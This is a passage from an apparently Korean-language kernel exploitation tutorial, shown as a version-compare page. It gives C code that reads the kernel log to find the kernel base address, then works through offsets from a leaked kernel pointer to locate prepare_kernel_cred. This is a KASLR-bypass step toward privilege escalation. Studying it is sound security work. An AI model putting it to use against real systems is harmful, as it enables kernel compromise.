Versions Compared

Key

  • This line was added.
  • This line was removed.
  • Formatting was changed.

...

  • 다음과 같이 코드를 작성하여 조금더 쉽게 커널의 기본 주소를 확인 할 수 있습니다.
    • get_syslog() 함수를 이용하여 커널 코드의 내용을 읽어 메모리에 저장합니다.
      • klogctl() 함수를 이용하여 커널 로그 버터의 총 크기를 확인합니다.
      • mmap() 함수를 이용하여 커널 로그를 저장할 메모리 영역을 할당합니다.
      • klogctl() 함수를 이용하여 ring buffer에 남아있는 모든 메시지를 읽어서 buffer 영역에 저장합니다.
    • get_kernel_addr() 함수를 이용하여 syslog에서 커널의 주소를 찾고, 해당 주소를 이용하여 커널의 기본주소를 계산하여 리턴합니다.
      • memmem() 함수를 이용하여 커널 로그에서 "Freeing unused kernel memory"를 찾아서 문자열의 시작 부분에 대한 포인터를 substr변수에 저장합니다.
      • strchr(), strrchr() 함수를 이용하여 커널 기본 주소를 계산할 때 사용할 커널 주소 값의 시작과 끝의 위치 값을 확인합니다.
      • memmem() 함수를 이용하여 substr 영역에서 "ffffffff"를 찾아서 문자열의 시작 부분에 대한 포인터를 substr변수에 저장합니다.
      • strtoul() 함수를 이용하여 커널 함수의 주소 값만을 추출하여문자열에서 숫자로 변환하여, addr 변수에 저장합니다.
Code Block
languagecpp
titleaddr.c
#define _GNU_SOURCE
 
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
 
#include <sys/klog.h>
#include <sys/mman.h>
 
#define SYSLOG_ACTION_READ_ALL 3
#define SYSLOG_ACTION_SIZE_BUFFER 10

void get_syslog(char **buffer, int *size){
 
    *size = klogctl(SYSLOG_ACTION_SIZE_BUFFER, 0, 0);
    if(*size == -1){
        perror("Error");
    }
 
    int pagesize = getpagesize();
    *size = (*size / pagesize + 1) * pagesize;
    *buffer = (char*)mmap(NULL, *size, PROT_READ | PROT_WRITE,
                MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
 
    *size = klogctl(SYSLOG_ACTION_READ_ALL, &((*buffer)[0]), *size);
    if (*size == -1) {
        perror("Error");
    }
     
}
 
unsigned long get_kernel_addr (char *buffer, int size){
    const char *needle = "Freeing unused kernel memory";

    char* substr = (char*)memmem(&buffer[0], size, needle, strlen(needle));
    if (substr == NULL) {
        printf("%s not found\n", needle);
    }
     
    int start = 0;
    int end = 0;
    start = strchr(substr,'-') - substr;
    end = strrchr(substr,'\n') - substr;
  
    const char *needle2 = "ffffffff";
    substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2));
    if (substr == NULL) {
            fprintf(stderr, "[-] substring '%s' not found in syslog\n", needle2);
            exit(EXIT_FAILURE);
    }
  
    char *endptr = &substr[16];
    unsigned long addr = strtoul(&substr[0], &endptr, 16);
    addr -= 0x10b4000ul;
  
    return addr;
}
 
void main(){
    char *syslog;
    int size;
 
    get_syslog(&syslog, &size);
    unsigned long is_kernel_base_addr = get_kernel_addr(syslog, size);
    printf("The base address of the kernel is '0x%lx'\n", is_kernel_base_addr);
}

...

  • 커널의 기본 주소를 얻기 위해서는 취약성으로 통해 추출된 유출된 주소가 커널의 기본주소와 얼마나 떨어져 있는지 offset값을 알아야 합니다.
    • offset 값을 확인하기 위해 우선 커널의 기본주소를 알아야 합니다.
      • prepare_kernel_cred(0xffffffff870a2890) - 커널의 기본주소로 부터 prepare_kernel_cred 함수 까지의 offset(0xa2890) = 0xffffffff87000000
    • 이렇게 알게 된 커널의 기본 주소를 이용하여 추출된 유출된 주소가 커널의 기본 주소로 부터 얼마나 떨어져 있는지 알 수 있습니다.
      • 취약성을 통해 추출된 유출된 커널의 주소(0xffffffff87a72cc0) - 커널의 기본 주소(0xffffffff87000000) = 0xa72cc0

...

  • 우선 앞에서 계산한 offset 값(0xa72cc0)을 검증하기 위해 다음과 같이 시스템을 reboot하고 다시 커널의 주소를 추출합니다유출합니다.
    • 이번에 추출된 유출된 커널의 주소는 0xffffffffa9a72cc0입니다.

...

  • 앞에서 확인한 offset 값들을 이용하여 커널의 기본 주소와 prepare_kernel_cred() 함수의 주소를 알 수 있습니다.

    • 취약성을 통해 추출된 유출된 커널의 주소(0xffffffffa9a72cc0) - 추출된 유출된 주소에서 커널의 기본주소 까지의 offset(0xa72cc0) = 0xffffffffa9000000

    • 커널의 기본주소(0xffffffffa9000000) + prepare_kernel_cred함수의 offset(0xa2890) = 0xffffffffa90a2890

  • 다음과 같이 취약성을 통해 계산된 prepare_kernel_cred함수의 주소 값이 실제 주소와 동일하다는 것을 알 수 있습니다.

...